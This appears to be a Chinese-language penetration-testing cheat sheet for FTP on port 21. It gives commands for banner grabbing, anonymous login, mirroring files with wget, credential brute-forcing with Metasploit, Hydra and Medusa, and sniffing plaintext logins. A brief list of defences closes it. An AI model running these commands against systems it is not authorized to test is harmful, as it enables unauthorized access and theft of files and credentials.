21端口开启的服务FTP代表文件传输协议,其用于在计算机网络上的客户端和服务器之间传输文件。默认端口是21,当共享数据时会被打开。
枚举ftp服务的版本信息
nc -vn <ip> 21
获取FTP证书(如果存在)
openssl s_client -connect <ip>:21 -starttls ftp
匿名登录
文件可以被隐藏,所以匿名登录可能看不到文件
ftp <ip>
>anonymous
>anonymous
>ls -a
浏览器连接
ftp://anonymous:anonymous@192.168.0.117
从FTP下载文件
##下载所有文件
wget -m ftp://anonymous:anonymous@192.168.0.117
wget -m --no-passive ftp://anonymous:anonymous@192.168.0.117
Windows上的FTP
Metasploit扫描ftp版本
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit
Metasploit暴力破解FTP登录凭证
用户字典和密码字典需要自己制作
一个很好的字典集合:
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
![在这里插入图片描述](https://www.icode9.com/i/ll/?i=a57f987ddd024d0281e7f108f37f664d.png?,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVGhnaWxpbA==,size_20,color_FFFFFF,t_70,g_se,x_16)
## Linux上的FTP服务
**嗅探FTP凭证**
使用嗅探抓取FTP凭证
使用Wireshark捕获流量,发现明文传输的登录凭证。
可以通过使用ssl证书对流量进行加密,防止攻击者抓取流量后读取登录凭证
**Hydra暴力破解**
自定以账号、密码字典
```bash
hydra -L user.txt -P pass.txt 192.168.0.117 ftp
medusa暴力破解
自定义账号、密码字典
medusa -h 192.168.0.117 -U /root/user.txt -P /root/pass.txt -M ftp
linux下的FTP爆破也可采用Msfconsole的auxiliary/scanner/ftp/ftp_login模块
防御:
1.更改端口
2.设置ip白名单
3.FTP日志监控